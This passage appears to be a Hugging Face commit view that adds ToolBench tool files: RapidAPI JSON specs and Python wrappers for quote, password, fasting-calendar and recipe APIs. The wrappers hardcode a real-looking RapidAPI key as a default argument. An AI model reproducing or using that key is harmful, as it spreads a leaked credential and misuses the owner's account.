Septzzz commited on
Commit
dc960e3
·
verified ·
1 Parent(s): a77550d

Upload folder using huggingface_hub (part 20)

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. toolbench/toolenv/tools/Other/steve_hardaway.json +24 -0
  2. toolbench/toolenv/tools/Other/strongpassword.json +59 -0
  3. toolbench/toolenv/tools/Other/stupid_quotes.json +43 -0
  4. toolbench/toolenv/tools/Other/stupid_quotes/api.py +50 -0
  5. toolbench/toolenv/tools/Other/sunnah_fasting.json +346 -0
  6. toolbench/toolenv/tools/Other/sunnah_fasting/api.py +107 -0
  7. toolbench/toolenv/tools/Other/supper_app.json +45 -0
  8. toolbench/toolenv/tools/Other/surveymethods.json +182 -0
  9. toolbench/toolenv/tools/Other/surveymethods/api.py +92 -0
  10. toolbench/toolenv/tools/Other/tabela_fipe_simples.json +26 -0
  11. toolbench/toolenv/tools/Other/team_petstore.json +534 -0
  12. toolbench/toolenv/tools/Other/team_petstore/api.py +139 -0
  13. toolbench/toolenv/tools/Other/tech_job_search_api.json +43 -0
  14. toolbench/toolenv/tools/Other/tech_job_search_api/api.py +50 -0
  15. toolbench/toolenv/tools/Other/term_analysis.json +40 -0
  16. toolbench/toolenv/tools/Other/term_analysis/api.py +30 -0
  17. toolbench/toolenv/tools/Other/test/api.py +31 -0
  18. toolbench/toolenv/tools/Other/test20201115.json +24 -0
  19. toolbench/toolenv/tools/Other/test_api.json +24 -0
  20. toolbench/toolenv/tools/Other/test_api/api.py +29 -0
  21. toolbench/toolenv/tools/Other/test_mail_xss.json +61 -0
  22. toolbench/toolenv/tools/Other/test_mail_xss/api.py +61 -0
  23. toolbench/toolenv/tools/Other/test_refund_ido.json +24 -0
  24. toolbench/toolenv/tools/Other/test_refund_ido/api.py +29 -0
  25. toolbench/toolenv/tools/Other/test_swagger_upload.json +61 -0
  26. toolbench/toolenv/tools/Other/test_swagger_upload/api.py +61 -0
  27. toolbench/toolenv/tools/Other/test_v2.json +33 -0
  28. toolbench/toolenv/tools/Other/test_v2/api.py +29 -0
  29. toolbench/toolenv/tools/Other/test_v4.json +40 -0
  30. toolbench/toolenv/tools/Other/test_v4/api.py +29 -0
  31. toolbench/toolenv/tools/Other/test_v5/api.py +50 -0
  32. toolbench/toolenv/tools/Other/test_v6/api.py +31 -0
  33. toolbench/toolenv/tools/Other/test_v7/api.py +29 -0
  34. toolbench/toolenv/tools/Other/testapi.json +31 -0
  35. toolbench/toolenv/tools/Other/testapi/api.py +29 -0
  36. toolbench/toolenv/tools/Other/testapi_v2.json +31 -0
  37. toolbench/toolenv/tools/Other/testapi_v2/api.py +29 -0
  38. toolbench/toolenv/tools/Other/testapi_v3.json +31 -0
  39. toolbench/toolenv/tools/Other/testapi_v3/api.py +29 -0
  40. toolbench/toolenv/tools/Other/testapi_v4.json +45 -0
  41. toolbench/toolenv/tools/Other/testapi_v4/api.py +31 -0
  42. toolbench/toolenv/tools/Other/testchinen.json +157 -0
  43. toolbench/toolenv/tools/Other/testchinen/api.py +70 -0
  44. toolbench/toolenv/tools/Other/testing.json +24 -0
  45. toolbench/toolenv/tools/Other/testing/api.py +29 -0
  46. toolbench/toolenv/tools/Other/testing_demo.json +58 -0
  47. toolbench/toolenv/tools/Other/testing_demo/api.py +31 -0
  48. toolbench/toolenv/tools/Other/testingcontacts.json +24 -0
  49. toolbench/toolenv/tools/Other/the_south_asian_express.json +982 -0
  50. toolbench/toolenv/tools/Other/the_south_asian_express/api.py +549 -0
toolbench/toolenv/tools/Other/steve_hardaway.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"Steve Hardaway",
3
+ "tool_description":"Steve Hardaway",
4
+ "title":"Steve Hardaway",
5
+ "pricing":"FREE",
6
+ "score":null,
7
+ "home_url":"https://rapidapi.com/stevehardaway/api/steve-hardaway/",
8
+ "host":"steve-hardaway.p.rapidapi.com",
9
+ "api_list":[
10
+ {
11
+ "name":"Test",
12
+ "url":"https://steve-hardaway.p.rapidapi.com/test",
13
+ "description":"test",
14
+ "method":"GET",
15
+ "required_parameters":[],
16
+ "optional_parameters":[],
17
+ "code":"import requests\n\nurl = \"https://steve-hardaway.p.rapidapi.com/test\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"steve-hardaway.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
18
+ "statuscode":111,
19
+ "body":"",
20
+ "headers":"",
21
+ "schema":""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/strongpassword.json ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "53aa3183e4b051a76d23efb8",
3
+ "tool_description": "this api can give you a strong password to make you app more safety.",
4
+ "home_url": "https://rapidapi.com/tabalt/api/strongpassword/",
5
+ "name": "strongpassword",
6
+ "title": "strongpassword",
7
+ "pricing": "FREE",
8
+ "tool_name": "strongpassword",
9
+ "score": null,
10
+ "host": "gnipt-strongpassword.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "getStrongPassword",
14
+ "url": "https://gnipt-strongpassword.p.rapidapi.com/password/getStrongPassword.json",
15
+ "description": "StrongPassword\u662f\u4e00\u4e2a\u52a0\u5bc6\u7b97\u6cd5\u7684api\u3002 \u5047\u5982\u60a8\u89c9\u5f97\u4f7f\u7528\u4f20\u7edf\u7684\u52a0\u5bc6\u7b97\u6cd5\u4e0d\u591f\u5b89\u5168\uff0c\u53ef\u4ee5\u8c03\u7528\u8be5\u52a0\u5bc6\u7b97\u6cd5API\u7684 getStrongPassword \u65b9\u6cd5\u5f97\u5230\u4e00\u4e2a\u66f4\u5b89\u5168\u7684\u52a0\u5bc6\u5b57\u7b26\u4e32\u3002",
16
+ "method": "POST",
17
+ "required_parameters": [
18
+ {
19
+ "name": "password",
20
+ "type": "STRING",
21
+ "description": "\u8f93\u5165\u7684\u660e\u6587\u5bc6\u7801",
22
+ "default": "mypassword"
23
+ }
24
+ ],
25
+ "optional_parameters": [],
26
+ "code": "import requests\n\nurl = \"https://gnipt-strongpassword.p.rapidapi.com/password/getStrongPassword.json\"\nquerystring = {\"password\": \"mypassword\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"gnipt-strongpassword.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
27
+ "convert_code": "import requests\n\nurl = \"https://gnipt-strongpassword.p.rapidapi.com/password/getStrongPassword.json\"\nquerystring = {\"password\": \"mypassword\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"gnipt-strongpassword.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
28
+ "test_endpoint": "",
29
+ "statuscode": 1,
30
+ "schema": ""
31
+ },
32
+ {
33
+ "name": "isMatch",
34
+ "url": "https://gnipt-strongpassword.p.rapidapi.com/password/isMatch.json",
35
+ "description": "StrongPassword\u662f\u4e00\u4e2a\u52a0\u5bc6\u7b97\u6cd5\u7684api\u3002 \u53ef\u4ee5\u8c03\u7528\u8be5\u52a0\u5bc6\u7b97\u6cd5API\u7684 isMatch \u65b9\u6cd5\u5bf9\u4f20\u5165\u7684\u539f\u59cb\u5bc6\u7801\u548c\u52a0\u5bc6 \u5bc6\u7801\u8fdb\u884c\u6bd4\u5bf9\u3002",
36
+ "method": "POST",
37
+ "required_parameters": [
38
+ {
39
+ "name": "password",
40
+ "type": "STRING",
41
+ "description": "\u4f20\u5165\u7684\u660e\u6587\u5bc6\u7801",
42
+ "default": "mypassword"
43
+ },
44
+ {
45
+ "name": "strongPassword",
46
+ "type": "STRING",
47
+ "description": "\u5f3a\u52a0\u5bc6\u540e\u7684\u5bc6\u6587",
48
+ "default": "f1c248f5445ce23d021cdda20afeab2edd55d44b"
49
+ }
50
+ ],
51
+ "optional_parameters": [],
52
+ "code": "import requests\n\nurl = \"https://gnipt-strongpassword.p.rapidapi.com/password/isMatch.json\"\nquerystring = {\"password\": \"mypassword\", \"strongPassword\": \"f1c248f5445ce23d021cdda20afeab2edd55d44b\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"gnipt-strongpassword.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
53
+ "convert_code": "import requests\n\nurl = \"https://gnipt-strongpassword.p.rapidapi.com/password/isMatch.json\"\nquerystring = {\"password\": \"mypassword\", \"strongPassword\": \"f1c248f5445ce23d021cdda20afeab2edd55d44b\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"gnipt-strongpassword.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
54
+ "test_endpoint": "",
55
+ "statuscode": 1,
56
+ "schema": ""
57
+ }
58
+ ]
59
+ }
toolbench/toolenv/tools/Other/stupid_quotes.json ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"Stupid Quotes",
3
+ "tool_description":"API that returns stupid quotes (in English and Brazilian) from database",
4
+ "title":"Stupid Quotes",
5
+ "pricing":"FREEMIUM",
6
+ "score":{
7
+ "avgServiceLevel":100,
8
+ "avgLatency":270,
9
+ "avgSuccessRate":0,
10
+ "popularityScore":0,
11
+ "__typename":"Score"
12
+ },
13
+ "home_url":"https://rapidapi.com/rafaeljamil/api/stupid-quotes/",
14
+ "host":"stupid-quotes.p.rapidapi.com",
15
+ "api_list":[
16
+ {
17
+ "name":"Random",
18
+ "url":"https://stupid-quotes.p.rapidapi.com/api/random",
19
+ "description":"Return a random quote with original Brazilian and translated English versions.",
20
+ "method":"GET",
21
+ "required_parameters":[],
22
+ "optional_parameters":[],
23
+ "code":"import requests\n\nurl = \"https://stupid-quotes.p.rapidapi.com/api/random\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"stupid-quotes.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
24
+ "statuscode":111,
25
+ "body":"",
26
+ "headers":"",
27
+ "schema":""
28
+ },
29
+ {
30
+ "name":"Home",
31
+ "url":"https://stupid-quotes.p.rapidapi.com/",
32
+ "description":"Returns all quotes from database.",
33
+ "method":"GET",
34
+ "required_parameters":[],
35
+ "optional_parameters":[],
36
+ "code":"import requests\n\nurl = \"https://stupid-quotes.p.rapidapi.com/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"stupid-quotes.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
37
+ "statuscode":111,
38
+ "body":"",
39
+ "headers":"",
40
+ "schema":""
41
+ }
42
+ ]
43
+ }
toolbench/toolenv/tools/Other/stupid_quotes/api.py ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def random(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Return a random quote with original Brazilian and translated English versions."
12
+
13
+ """
14
+ url = f"https://stupid-quotes.p.rapidapi.com/api/random"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "stupid-quotes.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
30
+ def home(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
31
+ """
32
+ "Returns all quotes from database."
33
+
34
+ """
35
+ url = f"https://stupid-quotes.p.rapidapi.com/"
36
+ querystring = {}
37
+
38
+ headers = {
39
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
40
+ "X-RapidAPI-Host": "stupid-quotes.p.rapidapi.com"
41
+ }
42
+
43
+
44
+ response = requests.get(url, headers=headers, params=querystring)
45
+ try:
46
+ observation = response.json()
47
+ except:
48
+ observation = response.text
49
+ return observation
50
+
toolbench/toolenv/tools/Other/sunnah_fasting.json ADDED
@@ -0,0 +1,346 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"Sunnah Fasting",
3
+ "tool_description":"List of sunnah fasting schedule. Start from year 2022.",
4
+ "title":"Sunnah Fasting",
5
+ "pricing":"FREE",
6
+ "score":{
7
+ "avgServiceLevel":100,
8
+ "avgLatency":111,
9
+ "avgSuccessRate":100,
10
+ "popularityScore":8.4,
11
+ "__typename":"Score"
12
+ },
13
+ "home_url":"https://rapidapi.com/granitebagas28/api/sunnah-fasting1/",
14
+ "host":"sunnah-fasting1.p.rapidapi.com",
15
+ "api_list":[
16
+ {
17
+ "name":"/api/v1/types",
18
+ "url":"https://sunnah-fasting1.p.rapidapi.com/api/v1/types",
19
+ "description":"Get list of types",
20
+ "method":"GET",
21
+ "required_parameters":[],
22
+ "optional_parameters":[],
23
+ "code":"import requests\n\nurl = \"https://sunnah-fasting1.p.rapidapi.com/api/v1/types\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"sunnah-fasting1.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
24
+ "statuscode":200,
25
+ "body":{
26
+ "code":200,
27
+ "message":"Success",
28
+ "success":true,
29
+ "data":[
30
+ {
31
+ "description":"Lorem ipsum dolor sit amet, consectetur adipiscing elit.",
32
+ "id":1,
33
+ "name":"lorem"
34
+ }
35
+ ]
36
+ },
37
+ "headers":{},
38
+ "schema":{
39
+ "allOf":[
40
+ {
41
+ "type":"object",
42
+ "properties":{
43
+ "code":{
44
+ "type":"integer"
45
+ },
46
+ "data":{},
47
+ "message":{
48
+ "type":"string"
49
+ },
50
+ "success":{
51
+ "type":"boolean"
52
+ }
53
+ }
54
+ },
55
+ {
56
+ "type":"object",
57
+ "properties":{
58
+ "data":{
59
+ "type":"array",
60
+ "items":{
61
+ "type":"object",
62
+ "properties":{
63
+ "description":{
64
+ "type":"string"
65
+ },
66
+ "id":{
67
+ "type":"integer"
68
+ },
69
+ "name":{
70
+ "type":"string"
71
+ }
72
+ }
73
+ }
74
+ }
75
+ }
76
+ }
77
+ ]
78
+ }
79
+ },
80
+ {
81
+ "name":"/api/v1/sources",
82
+ "url":"https://sunnah-fasting1.p.rapidapi.com/api/v1/sources",
83
+ "description":"Get list of sources",
84
+ "method":"GET",
85
+ "required_parameters":[],
86
+ "optional_parameters":[],
87
+ "code":"import requests\n\nurl = \"https://sunnah-fasting1.p.rapidapi.com/api/v1/sources\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"sunnah-fasting1.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
88
+ "statuscode":200,
89
+ "body":{
90
+ "code":200,
91
+ "message":"Success",
92
+ "success":true,
93
+ "data":[
94
+ {
95
+ "id":1,
96
+ "url":"https://granitebps.com"
97
+ }
98
+ ]
99
+ },
100
+ "headers":{},
101
+ "schema":{
102
+ "allOf":[
103
+ {
104
+ "type":"object",
105
+ "properties":{
106
+ "code":{
107
+ "type":"integer"
108
+ },
109
+ "data":{},
110
+ "message":{
111
+ "type":"string"
112
+ },
113
+ "success":{
114
+ "type":"boolean"
115
+ }
116
+ }
117
+ },
118
+ {
119
+ "type":"object",
120
+ "properties":{
121
+ "data":{
122
+ "type":"array",
123
+ "items":{
124
+ "type":"object",
125
+ "properties":{
126
+ "id":{
127
+ "type":"integer"
128
+ },
129
+ "url":{
130
+ "type":"string"
131
+ }
132
+ }
133
+ }
134
+ }
135
+ }
136
+ }
137
+ ]
138
+ }
139
+ },
140
+ {
141
+ "name":"/api/v1/fastings",
142
+ "url":"https://sunnah-fasting1.p.rapidapi.com/api/v1/fastings",
143
+ "description":"Get list of sunnah fasting",
144
+ "method":"GET",
145
+ "required_parameters":[],
146
+ "optional_parameters":[
147
+ {
148
+ "name":"day",
149
+ "type":"NUMBER",
150
+ "description":"Day in month",
151
+ "default":""
152
+ },
153
+ {
154
+ "name":"Year",
155
+ "type":"NUMBER",
156
+ "description":"Year",
157
+ "default":""
158
+ },
159
+ {
160
+ "name":"month",
161
+ "type":"NUMBER",
162
+ "description":"Month",
163
+ "default":""
164
+ },
165
+ {
166
+ "name":"category_id",
167
+ "type":"NUMBER",
168
+ "description":"Category ID",
169
+ "default":""
170
+ },
171
+ {
172
+ "name":"type_id",
173
+ "type":"NUMBER",
174
+ "description":"Type ID",
175
+ "default":""
176
+ }
177
+ ],
178
+ "code":"import requests\n\nurl = \"https://sunnah-fasting1.p.rapidapi.com/api/v1/fastings\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"sunnah-fasting1.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
179
+ "statuscode":200,
180
+ "body":{
181
+ "code":200,
182
+ "message":"Success",
183
+ "success":true,
184
+ "data":[
185
+ {
186
+ "category":{
187
+ "id":1,
188
+ "name":"lorem impsum"
189
+ },
190
+ "category_id":1,
191
+ "date":"2020-01-01",
192
+ "day":1,
193
+ "id":1,
194
+ "month":1,
195
+ "type":{
196
+ "description":"Lorem ipsum dolor sit amet, consectetur adipiscing elit.",
197
+ "id":1,
198
+ "name":"lorem"
199
+ },
200
+ "type_id":1,
201
+ "year":2020
202
+ }
203
+ ]
204
+ },
205
+ "headers":{},
206
+ "schema":{
207
+ "allOf":[
208
+ {
209
+ "type":"object",
210
+ "properties":{
211
+ "code":{
212
+ "type":"integer"
213
+ },
214
+ "data":{},
215
+ "message":{
216
+ "type":"string"
217
+ },
218
+ "success":{
219
+ "type":"boolean"
220
+ }
221
+ }
222
+ },
223
+ {
224
+ "type":"object",
225
+ "properties":{
226
+ "data":{
227
+ "type":"array",
228
+ "items":{
229
+ "type":"object",
230
+ "properties":{
231
+ "category":{
232
+ "type":"object",
233
+ "properties":{
234
+ "id":{
235
+ "type":"integer"
236
+ },
237
+ "name":{
238
+ "type":"string"
239
+ }
240
+ }
241
+ },
242
+ "category_id":{
243
+ "type":"integer"
244
+ },
245
+ "date":{
246
+ "type":"string"
247
+ },
248
+ "day":{
249
+ "type":"integer"
250
+ },
251
+ "id":{
252
+ "type":"integer"
253
+ },
254
+ "month":{
255
+ "type":"integer"
256
+ },
257
+ "type":{
258
+ "type":"object",
259
+ "properties":{
260
+ "description":{
261
+ "type":"string"
262
+ },
263
+ "id":{
264
+ "type":"integer"
265
+ },
266
+ "name":{
267
+ "type":"string"
268
+ }
269
+ }
270
+ },
271
+ "type_id":{
272
+ "type":"integer"
273
+ },
274
+ "year":{
275
+ "type":"integer"
276
+ }
277
+ }
278
+ }
279
+ }
280
+ }
281
+ }
282
+ ]
283
+ }
284
+ },
285
+ {
286
+ "name":"/api/v1/categories",
287
+ "url":"https://sunnah-fasting1.p.rapidapi.com/api/v1/categories",
288
+ "description":"Get list of categories",
289
+ "method":"GET",
290
+ "required_parameters":[],
291
+ "optional_parameters":[],
292
+ "code":"import requests\n\nurl = \"https://sunnah-fasting1.p.rapidapi.com/api/v1/categories\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"sunnah-fasting1.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
293
+ "statuscode":200,
294
+ "body":{
295
+ "code":200,
296
+ "message":"Success",
297
+ "success":true,
298
+ "data":[
299
+ {
300
+ "id":1,
301
+ "name":"lorem impsum"
302
+ }
303
+ ]
304
+ },
305
+ "headers":{},
306
+ "schema":{
307
+ "allOf":[
308
+ {
309
+ "type":"object",
310
+ "properties":{
311
+ "code":{
312
+ "type":"integer"
313
+ },
314
+ "data":{},
315
+ "message":{
316
+ "type":"string"
317
+ },
318
+ "success":{
319
+ "type":"boolean"
320
+ }
321
+ }
322
+ },
323
+ {
324
+ "type":"object",
325
+ "properties":{
326
+ "data":{
327
+ "type":"array",
328
+ "items":{
329
+ "type":"object",
330
+ "properties":{
331
+ "id":{
332
+ "type":"integer"
333
+ },
334
+ "name":{
335
+ "type":"string"
336
+ }
337
+ }
338
+ }
339
+ }
340
+ }
341
+ }
342
+ ]
343
+ }
344
+ }
345
+ ]
346
+ }
toolbench/toolenv/tools/Other/sunnah_fasting/api.py ADDED
@@ -0,0 +1,107 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def api_v1_types(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Get list of types"
12
+
13
+ """
14
+ url = f"https://sunnah-fasting1.p.rapidapi.com/api/v1/types"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "sunnah-fasting1.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
30
+ def api_v1_sources(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
31
+ """
32
+ "Get list of sources"
33
+
34
+ """
35
+ url = f"https://sunnah-fasting1.p.rapidapi.com/api/v1/sources"
36
+ querystring = {}
37
+
38
+ headers = {
39
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
40
+ "X-RapidAPI-Host": "sunnah-fasting1.p.rapidapi.com"
41
+ }
42
+
43
+
44
+ response = requests.get(url, headers=headers, params=querystring)
45
+ try:
46
+ observation = response.json()
47
+ except:
48
+ observation = response.text
49
+ return observation
50
+
51
+ def api_v1_fastings(day: int=None, year: int=None, month: int=None, category_id: int=None, type_id: int=None, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
52
+ """
53
+ "Get list of sunnah fasting"
54
+ day: Day in month
55
+ year: Year
56
+ month: Month
57
+ category_id: Category ID
58
+ type_id: Type ID
59
+
60
+ """
61
+ url = f"https://sunnah-fasting1.p.rapidapi.com/api/v1/fastings"
62
+ querystring = {}
63
+ if day:
64
+ querystring['day'] = day
65
+ if year:
66
+ querystring['Year'] = year
67
+ if month:
68
+ querystring['month'] = month
69
+ if category_id:
70
+ querystring['category_id'] = category_id
71
+ if type_id:
72
+ querystring['type_id'] = type_id
73
+
74
+ headers = {
75
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
76
+ "X-RapidAPI-Host": "sunnah-fasting1.p.rapidapi.com"
77
+ }
78
+
79
+
80
+ response = requests.get(url, headers=headers, params=querystring)
81
+ try:
82
+ observation = response.json()
83
+ except:
84
+ observation = response.text
85
+ return observation
86
+
87
+ def api_v1_categories(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
88
+ """
89
+ "Get list of categories"
90
+
91
+ """
92
+ url = f"https://sunnah-fasting1.p.rapidapi.com/api/v1/categories"
93
+ querystring = {}
94
+
95
+ headers = {
96
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
97
+ "X-RapidAPI-Host": "sunnah-fasting1.p.rapidapi.com"
98
+ }
99
+
100
+
101
+ response = requests.get(url, headers=headers, params=querystring)
102
+ try:
103
+ observation = response.json()
104
+ except:
105
+ observation = response.text
106
+ return observation
107
+
toolbench/toolenv/tools/Other/supper_app.json ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "5a0aa1b3e4b09ee1ff5480f3",
3
+ "tool_description": "What\u2019s for Supper? app helps users by providing them with a means to figure out what\r\ncan be cooked based on entering the available ingredients in the household\r\nWFS? is presented with an animated video splash screen intro page upon open\r\nWFS? users can register through the app or through authentic Facebook login\r\nWFS? aims to be a free app trial for 30 days and offers an In-App Purchase of $.99\r\ncents for full use of the app including additional In-App Purchases for more features\r\nGPS Integration will allow users directions to all nearby supermarkets and groceries\r\nWhat\u2019s for Supper? Allows users to create custom family and allergy profiles\r\nWFS? camera feature will allow users to snap photos of food that can be added to the\r\napp for determining best dishes to make including recipes and nutritional information\r\nWIFI or Data connection is required for What\u2019s for Supper? real time results",
4
+ "home_url": "https://rapidapi.com/techtic.naitik/api/supper_app/",
5
+ "name": "supper_app",
6
+ "title": "supper_app",
7
+ "pricing": "FREE",
8
+ "tool_name": "supper_app",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 406,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 8.8,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "techtic-naitik-supper_app-v1.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "/spoonacular-recipe-food-nutrition-v1.p.mashape.com/food/ingredients/map",
20
+ "url": "https://techtic-naitik-supper_app-v1.p.rapidapi.com/spoonacular-recipe-food-nutrition-v1.p.mashape.com/food/ingredients/map",
21
+ "description": "get Receipie",
22
+ "method": "POST",
23
+ "required_parameters": [
24
+ {
25
+ "name": "servings",
26
+ "type": "NUMBER",
27
+ "description": "",
28
+ "default": "2"
29
+ },
30
+ {
31
+ "name": "ingredients",
32
+ "type": "STRING",
33
+ "description": "ingeis",
34
+ "default": "[\"eggs\",\"bacon\"]"
35
+ }
36
+ ],
37
+ "optional_parameters": [],
38
+ "code": "import requests\n\nurl = \"https://techtic-naitik-supper_app-v1.p.rapidapi.com/spoonacular-recipe-food-nutrition-v1.p.mashape.com/food/ingredients/map\"\nquerystring = {\"servings\": \"2\", \"ingredients\": \"[\\\"eggs\\\",\\\"bacon\\\"]\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"techtic-naitik-supper_app-v1.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
39
